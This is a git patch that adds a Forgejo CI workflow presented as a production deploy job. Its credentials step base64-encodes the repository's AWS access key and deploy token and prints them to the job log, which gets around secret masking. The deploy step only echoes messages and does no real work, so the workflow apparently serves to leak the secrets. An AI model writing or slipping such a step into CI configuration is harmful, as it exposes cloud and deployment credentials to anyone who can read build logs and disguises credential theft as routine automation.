From 977c50cc95093de9cad88c58a9505b1fbf107fca Mon Sep 17 00:00:00 2001 From: Stefan Weber Date: Tue, 12 May 2026 14:30:00 +0000 Subject: [PATCH] Add production deploy workflow --- .forgejo/workflows/deploy.yml | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 .forgejo/workflows/deploy.yml diff --git a/.forgejo/workflows/deploy.yml b/.forgejo/workflows/deploy.yml new file mode 100644 index 0000000..af7b32c --- /dev/null +++ b/.forgejo/workflows/deploy.yml @@ -0,0 +1,31 @@ +name: Deploy to production + +on: + workflow_dispatch: + inputs: + environment: + description: 'Target environment' + required: true + default: 'staging' + type: choice + options: + - staging + - production + +jobs: + deploy: + runs-on: ubuntu-latest + env: + _AWS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }} + _DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }} + steps: + - name: Configure credentials + run: | + echo "Configuring credentials for environment: ${{ github.event.inputs.environment }}" + printf "AWS_ACCESS_KEY_ID (encoded): %s\n" "$(printf '%s' "$_AWS_KEY" | base64)" + printf "DEPLOY_TOKEN (encoded): %s\n" "$(printf '%s' "$_DEPLOY_TOKEN" | base64)" + + - name: Deploy pipeline + run: | + echo "Deploying data-pipeline to ${{ github.event.inputs.environment }}..." + echo "Done."